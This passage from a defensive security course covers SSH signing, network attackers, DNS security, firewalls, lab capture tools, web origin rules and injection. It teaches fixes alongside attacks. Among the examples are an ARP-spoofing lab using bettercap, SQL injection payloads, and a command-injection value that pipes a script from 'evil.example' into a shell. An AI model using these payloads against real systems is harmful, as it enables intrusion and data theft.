printf '%s %s\n' release@securesh.op "$(cat signer.pub)" > allowed_signers
ssh-keygen -Y verify -f allowed_signers -I release@securesh.op \
           -n file -s NOTES.sig < NOTES             # -> "Good file signature..."

# tamper -> fails
echo tampered >> NOTES
ssh-keygen -Y verify -f allowed_signers -I release@securesh.op \
           -n file -s NOTES.sig < NOTES             # -> "Signature verification failed"

   # Git signed commits with your SSH key (no GPG):
   git config --global gpg.format ssh
   git config --global user.signingkey ~/.ssh/id_ed25519.pub
   git config --global commit.gpgsign true
   # verification needs an allowed_signers file:
   git config --global gpg.ssh.allowedSignersFile ~/.ssh/allowed_signers
   #   ~/.ssh/allowed_signers:  you@example.com ssh-ed25519 AAAA...
   git commit -S -m "signed"        # then: git log --show-signature

Debugging SSH

   ssh -v host        # one -v: auth method negotiation
   ssh -vv host       # + kex/cipher/mac, key offering
   ssh -vvv host      # packet-level

   # Common failures and the -v line that reveals them:
   #  "Permission denied (publickey)"  -> "Offering public key ..." then
   #     "Authentications that can continue" -> server didn't accept the key:
   #     wrong key, not in authorized_keys, bad perms (must be 700 ~/.ssh,
   #     600 the key, 644 .pub, 600 authorized_keys, and the HOME not
   #     group-writable -- sshd is strict).
   #  "too many authentication failures" -> agent offered many keys;
   #     set IdentitiesOnly yes + IdentityFile.
   #  "REMOTE HOST IDENTIFICATION HAS CHANGED" -> known_hosts mismatch (Ch 34).
   #  "no matching key exchange method" -> old server, modern client (or
   #     vice versa); check `ssh -Q kex` on both, add a KexAlgorithms line.

   sudo sshd -T            # dump the server's EFFECTIVE config
   sudo sshd -t            # validate config before reload (do this ALWAYS)
   journalctl -u ssh -f    # watch auth attempts (LogLevel VERBOSE helps)

Chapter 37 — The network attacker: sniffing, spoofing, MITM

Attacker positions (this framing runs through the whole Part)

   PASSIVE ON-PATH  -- can READ every packet, cannot change or inject.
                       A tap on a fibre; port mirroring; promiscuous Wi-Fi.
                       Beats: plaintext protocols. Defeated by: TLS/SSH
                       confidentiality (but traffic analysis still leaks).

   ACTIVE ON-PATH (MITM) -- can read, DROP, MODIFY, INJECT, DELAY.
                       A compromised router/switch/AP; ARP or DHCP spoofing
                       on a LAN; a malicious ISP; BGP hijack.
                       Beats: unauthenticated key exchange, downgrade-prone
                       protocols. Defeated by: authentication (certs, host
                       keys, HSTS) + integrity (AEAD).

   OFF-PATH        -- sees nothing, must GUESS/SPOOF (source IP, sequence
                       numbers, DNS transaction IDs, ports).
                       Beats: protocols with predictable identifiers or no
                       source validation. Defeated by: randomised IDs,
                       ingress/egress filtering, encryption.

Ask of any attack: which position does it need? It tells you the fix.

Layer 2 (LAN) attacks

On a shared local network, an active attacker has cheap ways to become MITM:

   ARP SPOOFING / POISONING
     ARP maps IP -> MAC and has NO authentication. Attacker broadcasts
     "10.0.0.1 (the gateway) is at MY mac". Victims update their ARP cache
     and send all gateway-bound traffic to the attacker, who forwards it on.
     -> full active MITM for the subnet. Tools: arpspoof, bettercap, ettercap.

   DHCP SPOOFING (rogue DHCP)
     Attacker answers DHCP faster than the real server, hands out ITSELF as
     the default gateway and/or DNS. Same outcome: MITM.

   MAC FLOODING
     Flood the switch's CAM table until it "fails open" and floods all
     frames to every port -> the switch behaves like a hub -> passive
     sniffing of everyone.

   STP / LLMNR / NBT-NS / mDNS poisoning
     Windows name-resolution fallbacks with no auth -> Responder-style
     attacks capture NTLM hashes. VLAN hopping via DTP / double-tagging.

   ROGUE / EVIL-TWIN ACCESS POINT
     Broadcast the same SSID as the corporate/coffee-shop Wi-Fi with a
     stronger signal. Clients auto-associate. Attacker is now the network.

Defences (switch/network side):

   Dynamic ARP Inspection (DAI)  -- drop ARP replies that don't match a
                                    trusted DHCP-snooping binding table
   DHCP Snooping                 -- only allow DHCP offers from trusted ports
   Port Security                 -- limit MACs per port; sticky MACs
   802.1X / MACsec               -- authenticate the DEVICE before the port
                                    is usable; encrypt the link layer
   Disable DTP; prune VLANs; put unused ports in a black-hole VLAN
   Client isolation on guest Wi-Fi; WPA3-Enterprise; disable LLMNR/NBT-NS

Host-side, the pragmatic truth: you often can't control the LAN (coffee shop, conference, a client site). So the working assumption is the local network is hostile, and your protection is end-to-end: TLS with verification, SSH host-key checking, a VPN, HSTS, DoH/DoT for DNS.

On-path MITM against TLS — why it (mostly) fails

An active attacker who intercepts your HTTPS connection must present some certificate for the site. Their options:

   * self-signed / wrong-name cert   -> browser refuses, no click-through
                                        under HSTS (Ch 31)
   * a REAL cert from a CA           -> they'd need to trick a CA into
                                        mis-issuing; CT (Ch 30) makes it
                                        detectable fast
   * a cert from a CA THEY CONTROL that's in your trust store
                                     -> this is exactly how corporate TLS
                                        inspection ("SSL/TLS interception")
                                        works: an internal root is pushed to
                                        managed devices. On such a device the
                                        padlock is real but the traffic IS
                                        being read by your employer's proxy.
   * strip TLS entirely (sslstrip)   -> only works if you first reach the
                                        site over HTTP; HSTS + preload kills
                                        it.

So: MITM on TLS requires a trust-store foothold or a CA failure. That's the whole point of Parts 5–7.

Off-path attacks worth knowing

   TCP sequence prediction / RST injection
     Off-path attacker guesses the 32-bit sequence number to inject data or
     forge a RST (connection reset). Modern stacks randomise ISNs; still
     used for censorship (the "Great Firewall" injects RSTs).

   DNS cache poisoning (Kaminsky, 2008) -- Chapter 38.

   BGP HIJACKING
     An AS announces routes for prefixes it doesn't own; traffic worldwide
     detours through it. Used to steal crypto (Amazon Route 53, 2018),
     intercept traffic, or just black-hole it. Defences: RPKI ROV (route
     origin validation), IRR filtering, peer prefix limits. As a service
     operator you also mitigate with TLS everywhere + DNSSEC + monitoring.

   IP SPOOFING + amplification (DDoS)
     Forge the victim's source IP, send small queries to servers (DNS, NTP,
     memcached, CLDAP) that reply with much larger responses AT the victim.
     Defence: BCP 38 / uRPF ingress filtering at every network edge;
     don't run open resolvers/reflectors.

# 1. See who's on your LAN and your ARP table (read-only)
arp -a
ip neigh 2>/dev/null || arp -an
#   note: ARP has no auth -- any of these entries could be spoofed.

# 2. Passive capture: watch DNS + plaintext on your own interface
sudo tcpdump -i any -n -s0 'udp port 53' -c 20
sudo tcpdump -i any -n -A 'tcp port 80' -c 40        # see plaintext HTTP

# 3. Prove TLS resists a passive sniffer: capture your own HTTPS and try
#    to read it
sudo tcpdump -i any -w /tmp/h.pcap 'host example.com and tcp port 443' -c 60 &
curl -s https://example.com -o /dev/null; sudo pkill tcpdump
#    open /tmp/h.pcap in Wireshark -> only ClientHello/ServerHello readable.

# 4. Detect a (simulated) MITM: pin then compare a cert fingerprint
echo | openssl s_client -connect example.com:443 -servername example.com \
  2>/dev/null | openssl x509 -noout -fingerprint -sha256
#    run this from two networks (home, phone hotspot) -- fingerprints must match.

# 5. Are you behind TLS interception right now? Check your trust store for
#    unexpected roots.
security dump-keychain 2>/dev/null | grep -i "labl" | grep -iE "proxy|zscaler|bluecoat|netskope|forcepoint|corp" || echo "no obvious interception root (macOS)"
#   Linux: ls /usr/local/share/ca-certificates/  and  /etc/ssl/certs

Chapter 38 — DNS security

How a lookup works, and where it's attackable

   your app -> STUB RESOLVER (OS) -> RECURSIVE RESOLVER (ISP / 1.1.1.1 /
               8.8.8.8 / your own) -> ROOT -> TLD (.op) -> AUTHORITATIVE
               (securesh.op's nameserver) -> answer flows back and is CACHED
               at the recursive resolver for the TTL.

   ATTACK SURFACE:
     [1] stub <-> recursive : on-path sniff/spoof; rogue DHCP sets a
                              malicious resolver; malware edits /etc/resolv.conf
     [2] recursive <-> auth : off-path CACHE POISONING (spoof the answer
                              before the real one arrives)
     [3] the recursive's cache itself, or a compromised resolver
     [4] the registrar / registry account -> DOMAIN HIJACK (change the NS
         records; game over, and it happens regularly)
     [5] the authoritative server or its zone file

Cache poisoning and the Kaminsky attack (2008)

   A spoofed DNS response is accepted if it matches:
     - the 16-bit TRANSACTION ID
     - the source/dest IP and PORT
     - the question

   Classic attack: guess the 16-bit ID (65,536 values) while the resolver
   waits for an answer. Kaminsky's insight: you don't have to win once for
   one name -- query aaa.bank.com, bbb.bank.com, ... and each attempt is a
   fresh race, and a winning spoof can inject a poisoned NS record for the
   WHOLE zone. Suddenly feasible.

   MITIGATION (deployed 2008, still essential, NOT a real fix):
     * randomise the SOURCE PORT too  -> ~32 bits of entropy
     * 0x20 encoding (randomise query-name case)
     * these make it HARDER, not impossible. DNSSEC is the actual fix.

DNSSEC — authenticating the answers

DNSSEC signs DNS records so a resolver can verify they're genuine and unmodified.

   Each zone signs its records (RRSIG) with a private key. The public key
   (DNSKEY) is vouched for by a hash (DS record) in the PARENT zone, which
   is itself signed... up to the ROOT, whose key is a well-known trust
   anchor (and whose rotation is a globally-televised ceremony).

     . (root, trust anchor)
       signs DS for  .op
         .op signs DS for  securesh.op
           securesh.op signs its own A / MX / TXT ... records

   A VALIDATING resolver rejects answers that fail the chain -> cache
   poisoning and on-path answer forgery stop working.

What DNSSEC does and doesn't do:

   DOES:  data-origin authentication + integrity for DNS records.
          Authenticated denial of existence (NSEC/NSEC3): "that name
          really doesn't exist" is provable.
   DOES NOT: encrypt anything (queries/answers are still public --
             that's DoH/DoT's job).
   DOES NOT: protect the stub <-> recursive hop unless that hop also
             validates and you trust it (or you validate locally).
   COSTS:  key management, signing, larger responses (UDP fragmentation,
           amplification-DDoS potential), operational foot-guns (an
           expired RRSIG = your domain vanishes for validating resolvers).
   ADOPTION: patchy. Most TLDs signed; a minority of second-level domains.

DNSSEC also enables DANE (TLSA records: "here's the exact cert my mail server uses") — widely used to secure SMTP between mail servers, rarely for the web (browsers didn't adopt it; they rely on the CA/CT system instead).

Encrypted DNS transport: DoT and DoH

   Plain DNS (port 53, UDP/TCP): everyone on-path sees every name you
   resolve, and can tamper (if not DNSSEC-validated).

   DoT  -- DNS over TLS, port 853. Dedicated port -> easy to see "DNS is
           happening" and to block, but content is encrypted.
   DoH  -- DNS over HTTPS, port 443. Looks like normal web traffic ->
           hard to block or distinguish; also usable from inside browsers.
   DoQ  -- DNS over QUIC, port 853. DoT's benefits without head-of-line
           blocking.

   These hide your queries from the LOCAL network and your ISP, moving
   that visibility to your chosen resolver (Cloudflare, Google, Quad9,
   NextDNS, or your own). Trade-off: you must trust that operator, and
   enterprises lose DNS-based filtering/visibility (hence "enterprise
   DoH" controls and DDR/DNR discovery).

DNSSEC and DoH/DoT are complementary: DNSSEC = is this answer authentic? DoH/DoT = who got to watch me ask? Ideally both.

Domain-level hygiene (the boring stuff that prevents disasters)

   [ ] Registrar account: unique password + phishing-resistant MFA;
       REGISTRY LOCK (a manual, out-of-band step to change NS/transfer) --
       this alone stops most domain hijacks.
   [ ] CAA records (Ch 30) so only your CA can issue certs.
   [ ] SPF, DKIM, DMARC (p=reject) so nobody spoofs your email domain;
       MTA-STS + TLS-RPT for inbound mail transport security.
   [ ] Watch for dangling records: a CNAME to a decommissioned S3
       bucket / Heroku app / Azure resource -> SUBDOMAIN TAKEOVER.
       Inventory and prune DNS regularly.
   [ ] Separate, minimal-privilege accounts for DNS management; audit logs.
   [ ] Monitor: alerts on any NS / MX / DS / A change to your zones;
       external checks that your domain still resolves and validates.
   [ ] DNSSEC if your registrar/DNS host supports easy signing + managed
       key rollover. If they don't automate it, the operational risk may
       outweigh the benefit -- decide deliberately.

# 1. Trace a resolution and see the hierarchy
dig +trace securesh.op          # root -> TLD -> authoritative
dig +norecurse @a.root-servers.net NS op.    # ask root directly

# 2. Inspect DNSSEC
dig +dnssec cloudflare.com A                 # look for the RRSIG records
dig DS cloudflare.com                        # the delegation hash in the parent
dig +dnssec dnssec-failed.org A              # a deliberately-broken domain

# 3. Validate the chain explicitly
delv cloudflare.com A                        # "fully validated" (needs a
                                             # crypto-capable delv build;
                                             # macOS's may say "no crypto support"
                                             # -- another Ch 0.4 trap; use Linux
                                             # or `dig +sigchase`, or unbound-host)

# 4. See a poisoning mitigation in action: source-port randomisation
sudo tcpdump -i any -n 'udp port 53' -c 10 &
for i in 1 2 3 4 5; do dig +short example$i.com; done
sudo pkill tcpdump
#   note the SOURCE port differs every query -- that's the anti-Kaminsky entropy.

# 5. Encrypted DNS
kdig -d @1.1.1.1 +tls-ca +tls-host=cloudflare-dns.com example.com  # DoT (knot-dnsutils)
curl -s -H 'accept: application/dns-json' \
  'https://cloudflare-dns.com/dns-query?name=example.com&type=A'    # DoH (JSON)

# 6. Check your domain's email + CAA posture
dig +short TXT example.com | grep -i spf
dig +short TXT _dmarc.example.com
dig +short CAA example.com

# 7. Subdomain-takeover sweep (your domains only): list CNAMEs and check
#    each target still exists
dig +short CNAME assets.example.com

Mini-project (45 min): DNS + domain monitor

   A script (cron, every 15 min) that for each zone you own:
     1. Resolves NS, MX, DS, SOA, and key A/AAAA records.
     2. Diffs against a committed baseline; alerts loudly on any change.
     3. Runs `delv` / a validating query and alerts if DNSSEC validation
        fails (expired RRSIG is a classic 2 a.m. incident).
     4. For every CNAME, checks the target resolves (dangling -> takeover
        risk).
     5. Confirms CAA, SPF, and DMARC records are present and unchanged.
   Output: OK / WARN / CRIT, exit codes for your monitoring system.

Chapter 39 — Firewalls, segmentation, zero trust, and VPNs

Firewalls — what each type actually does

   PACKET FILTER (stateless)       allow/deny by IP, port, protocol, flags.
                                   Fast, dumb, no memory of connections.

   STATEFUL FIREWALL               tracks connection state (NEW/ESTABLISHED/
                                   RELATED). "Allow replies to connections I
                                   let out." The default model: nftables,
                                   pf, iptables, AWS security groups (SGs are
                                   stateful; NACLs are stateless).

   APPLICATION / NEXT-GEN (NGFW)   parses L7: HTTP, TLS SNI, app-ID; can do
                                   IPS, URL filtering, user-ID. A WAF (Part 10)
                                   is the web-specific cousin.

   HOST firewall                   on the endpoint itself (nftables/ufw,
                                   Windows Defender FW). Defence in depth --
                                   survives a breached perimeter.

Default-deny is the only sane posture: deny everything inbound, allow the specific ports you serve; deny outbound by default too on sensitive segments (egress filtering catches exfiltration and C2 callbacks).

   Minimal server ruleset (concept):
     inbound:  allow tcp 443 from anywhere
               allow tcp 22  from bastion_subnet only
               allow established/related
               deny  all (log)
     outbound: allow tcp 443 to package-mirrors, monitoring, APIs you call
               allow udp 53  to your resolvers
               deny  all (log)   <- an alert here often means "we're breached"

Segmentation — blast-radius control

   FLAT NETWORK: one compromised web server can reach the database, the
   domain controller, the backup server, every workstation. Ransomware
   loves a flat network.

   SEGMENTED:
     +------------+   +-------------+   +-----------+   +-----------+
     |  DMZ       |   | app tier    |   | data tier |   | mgmt/     |
     |  web/proxy |-->| services    |-->| DB, cache |   | bastion   |
     +------------+   +-------------+   +-----------+   +-----------+
       only :443       only from DMZ     only from       only from
       from internet   on service ports  app tier on     admin VPN,
                                         5432            to all tiers

   Each boundary = a firewall/SG rule. East-west traffic is filtered, not
   just north-south. MICROSEGMENTATION takes this to per-workload identity
   (service mesh, host firewalls driven by labels, Illumio-style).

Zero trust

   OLD MODEL ("castle and moat"): authenticate at the perimeter; once
   inside the VPN/LAN you're trusted. One breach -> lateral movement
   everywhere.

   ZERO TRUST (NIST SP 800-207): "never trust, always verify."
     * No implicit trust from network location. The office LAN is treated
       like the internet.
     * Every request to every resource is authenticated (strong user
       identity + device posture) and authorised (least privilege,
       policy-based), per-session, and logged.
     * Access is brokered by a policy enforcement point in front of each
       app -- not a flat network tunnel.
     * mTLS / SPIFFE identities between services (Part 7).

   In practice: identity-aware proxies (BeyondCorp, Cloudflare Access,
   Tailscale, Teleport), device attestation, short-lived credentials
   (Part 8 certs), and per-app authorisation instead of "on the VPN = in".

Zero trust doesn't abolish firewalls and segmentation — it adds identity as the primary control so a network foothold alone buys the attacker very little.

VPNs — what they are actually for

   A VPN gives you an AUTHENTICATED, ENCRYPTED tunnel over an untrusted
   network, and makes remote devices appear on (a slice of) a trusted one.

   LEGITIMATE USES:
     * remote workers reaching internal services
     * site-to-site links between offices/clouds
     * protecting traffic on hostile Wi-Fi (though TLS already covers most)
     * hiding your source IP / location from destination sites (commercial
       "privacy" VPNs -- you're trusting the VPN provider instead of the ISP)

   WHAT A VPN IS NOT:
     * not anonymity (the provider sees everything; so can they log it)
     * not a substitute for endpoint security or app authz
     * not "zero trust" -- a classic full-tunnel VPN is the castle-and-moat
       model; compromise a VPN-connected laptop and you're on the LAN

The VPN protocols

   WireGuard mental model:
     - each peer has a static Curve25519 keypair (like SSH keys)
     - you list peers by public key + allowed source IPs (a crypto-keyed
       routing table)
     - handshake every ~2 min (Noise protocol), forward secret
     - "AllowedIPs" is BOTH the routing rule AND the ACL -- get it right
     - add a PresharedKey per peer for a post-quantum hedge today
     - it's silent: no response to unauthenticated packets (stealthy,
       but you add your own liveness monitoring)

# 1. Read your current firewall state
sudo nft list ruleset 2>/dev/null || sudo iptables -S    # Linux
# macOS: sudo pfctl -sr ; sudo /usr/libexec/ApplicationFirewall/socketfilterfw --getglobalstate
#   Identify: is it default-deny inbound? what's allowed? any egress rules?

# 2. Build a minimal default-deny ruleset in a throwaway VM/container (nft)
sudo nft -f - <<'EOF'
table inet filter {
  chain input {
    type filter hook input priority 0; policy drop;
    ct state established,related accept
    iif "lo" accept
    tcp dport 22 ip saddr 10.0.0.0/24 accept
    tcp dport 443 accept
    ct state invalid drop
    counter comment "dropped"
  }
  chain output { type filter hook output priority 0; policy accept; }
}
EOF
sudo nft list ruleset

# 3. Test segmentation logic with nmap (against hosts you own / your lab)
nmap -sS -p 22,80,443,5432 10.0.20.0/24        # what's reachable from here?
#   run the same scan from different segments and compare -- that's your
#   segmentation, verified.

# 4. Stand up WireGuard between two machines/VMs you control
umask 077
wg genkey | tee a.key | wg pubkey > a.pub
wg genkey | tee b.key | wg pubkey > b.pub
# peer A:
sudo ip link add wg0 type wireguard
sudo ip addr add 10.9.0.1/24 dev wg0
sudo wg set wg0 private-key ./a.key listen-port 51820 \
     peer "$(cat b.pub)" allowed-ips 10.9.0.2/32 endpoint <B_IP>:51820
sudo ip link set wg0 up
# peer B mirrors it with 10.9.0.2/24 and peer=A. Then:
ping 10.9.0.2
sudo wg show           # handshake time, transfer, endpoint

# 5. Confirm the tunnel is encrypted + authenticated
sudo tcpdump -i <wan_iface> -n udp port 51820 -c 10   # opaque UDP, no plaintext
#   send an unauthenticated packet -> no reply (WireGuard is silent).

# 6. Egress-filtering demo: block outbound 443 except to one host, then
#    watch a "curl https://example.com" fail and your rule counter tick.

Mini-project (60 min): segment SecureShop

   Model SecureShop (Ch 4) as 4 segments in Docker networks or VMs:
     edge (nginx :443)  |  app (orders-api :8080)  |  data (postgres :5432)
     |  mgmt (bastion :22)

   1. Write firewall rules so:
      - internet -> edge:443 only
      - edge -> app:8080 only
      - app -> data:5432 only
      - mgmt -> everything on :22 only; nothing -> mgmt except admin VPN
      - default deny inbound AND outbound on data (allow only 5432 from app
        + DNS + package mirror)
   2. From a shell in each segment, run nmap at the others. Produce a
      reachability matrix and confirm it matches the intended design.
   3. "Compromise" the edge container (you have a shell). Show you can reach
      app:8080 but NOT data:5432 directly, and not mgmt at all.
   4. Add host firewalls on app and data as defence in depth; re-test.
   5. Bonus: put app<->data on mTLS (Part 7) so even reachable != usable.
   6. Write ~/sec-lab/reports/part9-network.md with the matrix and findings.

Chapter 40 — Hands-on: seeing the network

Why this chapter exists

Every claim in Parts 7–9 is checkable with a packet capture. Being able to capture, filter, and read traffic — and to run a safe attack in your own lab — turns theory into intuition.

tcpdump — capture anywhere

# interfaces
sudo tcpdump -D

# basic: interface, no name resolution, snap full packets
sudo tcpdump -i any -n -s0

# write to a file for Wireshark; rotate to keep size sane
sudo tcpdump -i any -n -w /tmp/cap.pcap -C 100 -W 5   # 5 x 100MB ring

# read back with a display filter
tcpdump -n -r /tmp/cap.pcap 'tcp port 443'

# --- filters you'll actually use (BPF syntax) ---
sudo tcpdump -i any -n 'host 10.0.0.5'
sudo tcpdump -i any -n 'tcp port 443 and host example.com'
sudo tcpdump -i any -n 'udp port 53'                       # DNS
sudo tcpdump -i any -n 'tcp[tcpflags] & (tcp-syn|tcp-fin) != 0'   # conn setup/teardown
sudo tcpdump -i any -n 'icmp'
sudo tcpdump -i any -nA 'tcp port 80'                      # ASCII payload (plaintext HTTP)
sudo tcpdump -i any -n 'not port 22'                       # exclude your ssh session
sudo tcpdump -i any -n 'net 10.0.0.0/8 and not net 10.0.20.0/24'

Wireshark / tshark — read deeply

# terminal Wireshark
tshark -i any -f 'tcp port 443' -Y 'tls.handshake.type == 1'   # ClientHellos
tshark -r /tmp/cap.pcap -Y 'http.request' -T fields \
       -e ip.src -e http.request.method -e http.host -e http.request.uri
tshark -r /tmp/cap.pcap -q -z conv,tcp        # conversation summary
tshark -r /tmp/cap.pcap -q -z io,phs          # protocol hierarchy

# decrypt YOUR OWN TLS with a key log
SSLKEYLOGFILE=/tmp/keys.log curl -s https://example.com -o /dev/null
tshark -r /tmp/cap.pcap -o tls.keylog_file:/tmp/keys.log -Y http2

# Wireshark GUI display filters worth memorising:
#   tls.handshake            ip.addr == 10.0.0.5
#   http.response.code >= 400 dns.flags.rcode != 0
#   tcp.analysis.retransmission   tcp.flags.reset == 1
#   tls.record.version == 0x0301  (probes for old TLS)

nmap — discovery and service inspection (your hosts / lab only)

nmap -sn 10.0.20.0/24                      # host discovery (ping sweep)
nmap -sS -T4 --top-ports 1000 10.0.20.5    # SYN scan, common ports
nmap -sV -sC -p 22,80,443 10.0.20.5        # version + default scripts
nmap --script ssl-enum-ciphers,ssl-cert -p 443 shop.securesh.op
nmap --script ssh2-enum-algos,ssh-auth-methods -p 22 app-01.internal
nmap -sU --top-ports 50 10.0.20.5          # UDP (slow)
nmap -A -oA scan_result 10.0.20.5          # everything; save 3 formats

Chapter 0.6, restated: nmap against systems you don't own or have written permission to test can be a criminal offence. Lab, HTB/THM, and your own infrastructure only.

A safe MITM lab (isolated, VMs you own)

   Setup: two VMs (victim, gateway-sim) + one attacker VM on a HOST-ONLY
   network with no route to anything real.

   1. On attacker: enable IP forwarding, then:
        sudo bettercap -iface eth1
        > set arp.spoof.targets 192.168.56.10
        > arp.spoof on
        > net.sniff on
   2. On victim: browse to the plaintext test app you host on gateway-sim.
      Watch credentials appear in bettercap's log.
   3. Now serve the app over HTTPS with a cert from your Ch 29 mini-CA
      (trusted on the victim). Repeat -- bettercap sees only TLS records.
   4. Try `set https.proxy on` (sslstrip-style). It works UNTIL you add an
      HSTS header (Ch 31) -- then the browser refuses the downgrade.
   5. On gateway-sim's switch/bridge, add static ARP entries (or enable
      DAI on a real managed switch) and watch step 1 stop working.

   Deliverable: ~/sec-lab/reports/part9-mitm.md -- what each layer of
   defence (TLS, cert validation, HSTS, DAI) removed from the attacker.

Chapter 41 — How the web decides what to trust

The origin

   ORIGIN = scheme  ://  host  :  port

     https://shop.securesh.op:443
     \___/     \____________/  \_/
     scheme       host        port

   Same origin ONLY if all three match exactly:
     https://shop.securesh.op        vs  http://shop.securesh.op    -> DIFFERENT (scheme)
     https://shop.securesh.op        vs  https://api.securesh.op    -> DIFFERENT (host)
     https://shop.securesh.op        vs  https://shop.securesh.op:8443 -> DIFFERENT (port)
     https://shop.securesh.op/a      vs  https://shop.securesh.op/b  -> SAME (path doesn't count)

"Site" is looser than "origin" — it's roughly the registrable domain (securesh.op), ignoring scheme, port, and subdomain. Cookies and some newer protections work at "site" granularity (eTLD+1). Know which one a given feature uses.

Same-Origin Policy (SOP)

The foundational rule: script running on origin A cannot read data from origin B.

   A page on https://evil.example CAN:
     - send requests to https://bank.example (the request goes, with cookies!)
     - load bank.example images, scripts, styles, iframes
     - navigate to it, submit forms to it

   A page on https://evil.example CANNOT:
     - READ the response body from https://bank.example (SOP blocks it)
     - read bank.example's cookies, localStorage, or DOM (in an iframe)

That gap — "the request is sent with your cookies, but the attacker can't read the reply" — is exactly why CSRF exists (the attacker doesn't need to read the reply, just to cause the side effect) and why CORS was invented (to let servers opt in to sharing responses).

Cookies — the ambient credential

Cookies are attached to every matching request automatically. That convenience is the root of a lot of pain. The attributes that matter:

   Set-Cookie: session=abc123;
       Secure;                  <- only sent over HTTPS
       HttpOnly;                <- JavaScript cannot read it (blunts XSS theft)
       SameSite=Lax;            <- not sent on most cross-site requests
                                   (Lax: sent on top-level GET navigation;
                                    Strict: never cross-site;
                                    None: always -- REQUIRES Secure)
       Path=/; Domain=securesh.op;
       Max-Age=3600;
       __Host- prefix           <- name prefix that ENFORCES Secure + Path=/
                                   + no Domain -> hardest to tamper with

Defaults to set on every session cookie: Secure; HttpOnly; SameSite=Lax (or Strict for high-value), and use the __Host- name prefix.

CORS — opting in to cross-origin reads

CORS is not a restriction you configure to be safe; it's the server telling the browser "it's OK to let this other origin read my response".

   Browser (from https://app.example) --> GET https://api.example/data
                                          Origin: https://app.example

   api.example responds:
     Access-Control-Allow-Origin: https://app.example    <- echoes ONE origin
     Access-Control-Allow-Credentials: true              <- allow cookies/auth
     Vary: Origin

   The browser then lets app.example's JS read the body. Without these
   headers, the request still HAPPENED, but JS gets an opaque error.

The classic CORS mistakes:

   Access-Control-Allow-Origin: *  WITH  Allow-Credentials: true
     -> forbidden by spec, but misconfigs/reflectors bypass it. Means
        "any site can make authenticated calls and read the response."
   Reflecting the Origin header without an allowlist -> same thing.
   Allowing  null  origin -> sandboxed iframes / redirects can hit you.
   Treating CORS as an auth mechanism -> it isn't. Non-browser clients
     ignore it entirely. CORS protects the USER's browser, not your API.

The OWASP Top 10 (2025) — the map for this Part

   A01  Broken Access Control            -> Ch 45   (still #1, by far)
   A02  Security Misconfiguration        -> Ch 41,47 (headers, defaults, CORS)
   A03  Software Supply Chain Failures   -> Ch 47
   A04  Cryptographic Failures           -> Parts 3-7 (weak/missing crypto,
                                           secrets in code, bad TLS)
   A05  Injection (incl. XSS)            -> Ch 42, 43
   A06  Insecure Design                  -> whole guide (threat model first)
   A07  Authentication Failures          -> Ch 46
   A08  Software & Data Integrity Failures -> Ch 47 (unsigned updates,
                                           insecure deserialization, CI/CD)
   A09  Logging & Alerting Failures      -> Part 11
   A10  Mishandling Exceptional Conditions -> Ch 44/45 (fail-open, verbose
                                           errors, bad error handling)
   (SSRF -> folded into A01/its own writeup) -> Ch 44

Rankings shuffle between editions; the underlying bug classes are stable. Learn the classes.

# 1. Inspect real cookie hygiene
curl -sI https://github.com | grep -i set-cookie
curl -sI https://news.ycombinator.com | grep -i set-cookie
#   which have Secure / HttpOnly / SameSite? which don't?

# 2. Probe a CORS policy (safe, read-only)
curl -s -I -H 'Origin: https://evil.example' https://api.github.com/ | grep -i 'access-control'
curl -s -I -H 'Origin: https://evil.example' \
     -X OPTIONS https://api.github.com/ | grep -i 'access-control'
#   does it reflect your Origin? echo *? require credentials?

# 3. See SOP in your browser console (devtools on any page):
#    fetch('https://example.com').then(r=>r.text()).then(console.log)
#      -> blocked by CORS (you'll see the error; the request still went)

# 4. Security headers scan
curl -sI https://your-service.example | grep -iE \
  'content-security-policy|strict-transport|x-content-type|x-frame|referrer-policy|permissions-policy'
# or use: https://securityheaders.com  /  https://observatory.mozilla.org

Chapter 42 — Injection: when data becomes code

The one idea behind every injection

   VULNERABLE:  build a command/query by STRING CONCATENATION with input.
     query = "SELECT * FROM users WHERE name = '" + name + "'"
                                                    ^^^^ attacker controls this

   name = "'; DROP TABLE users; --"
     -> SELECT * FROM users WHERE name = ''; DROP TABLE users; --'
                                            ^^^^^^^^^^^^^^^^^ now it's CODE

   SAFE:  send code and data on SEPARATE channels. The interpreter gets the
   query STRUCTURE once, and the data as bound parameters it never parses.
     query = "SELECT * FROM users WHERE name = ?"
     execute(query, [name])          <- 'name' can never change the structure

This principle — parameterise; never concatenate — covers SQL, NoSQL, OS commands, LDAP, XPath, and more.

SQL injection

   IMPACT: read/modify/delete any data, bypass auth, sometimes RCE
   (xp_cmdshell, COPY TO PROGRAM, UDFs) and file access.

   AUTH BYPASS example:
     input password:  ' OR '1'='1
     SELECT id FROM users WHERE user='admin' AND pass='' OR '1'='1'
       -> returns a row -> "logged in"

   UNION-based extraction:
     ?id=1 UNION SELECT username, password, NULL FROM users--

   BLIND (no output, but behaviour differs):
     ?id=1 AND (SELECT SUBSTR(password,1,1) FROM users WHERE id=1)='a'
       -> page loads / doesn't -> extract one char at a time

   TIME-based blind (no visible difference at all):
     ?id=1; IF (condition) WAITFOR DELAY '0:0:5'--
       -> response is slow when the condition is true

The fix — in order of preference:

   1. PARAMETERISED QUERIES / prepared statements. Always. Every language
      has them.  db.execute("... WHERE id = ?", [id])
   2. Use an ORM / query builder correctly (they parameterise) -- but beware
      raw-query escape hatches and dynamic column/table names.
   3. For things that CAN'T be parameterised (identifiers, ORDER BY column,
      LIMIT in some drivers): validate against a strict ALLOWLIST of known
      values. Never escape-and-concatenate as your primary defence.
   4. Least-privilege DB accounts (the app's user can't DROP, can't read
      other schemas, can't write files).
   5. WAF as defence in depth, never as the fix.

OS command injection

   VULNERABLE:
     os.system("ping -c 1 " + host)
     host = "8.8.8.8; curl evil.example/x.sh | sh"

   FIX: don't call a shell. Use the array form of exec, which passes
   arguments directly to the program with NO shell parsing:
     subprocess.run(["ping", "-c", "1", host])       # Python
     execFile("ping", ["-c","1", host])               # Node
   And still validate `host` (e.g. it must be a valid hostname/IP).
   NEVER: shell=True with interpolated input; backticks; eval.

The other injection contexts

   LDAP injection    filter = "(uid=" + user + ")"  -> use parameterised
                     LDAP APIs / escape per RFC 4515 with a vetted library.
   XPath injection    same shape -> parameterised XPath / precompiled.
   Template injection (SSTI)  user input rendered AS a template
                     ({{7*7}} -> 49) -> can be RCE. Never put user input
                     into template SOURCE; pass it as DATA to a sandboxed
                     engine.
   NoSQL injection    Mongo: {"user": user, "pass": pass} where pass is the
                     object {"$ne": null} -> matches anything. Cast/validate
                     types; reject objects where you expect strings.
   Header / CRLF injection  input with \r\n into a response header ->
                     response splitting, cache poisoning. Frameworks mostly
                     block this now; still validate.
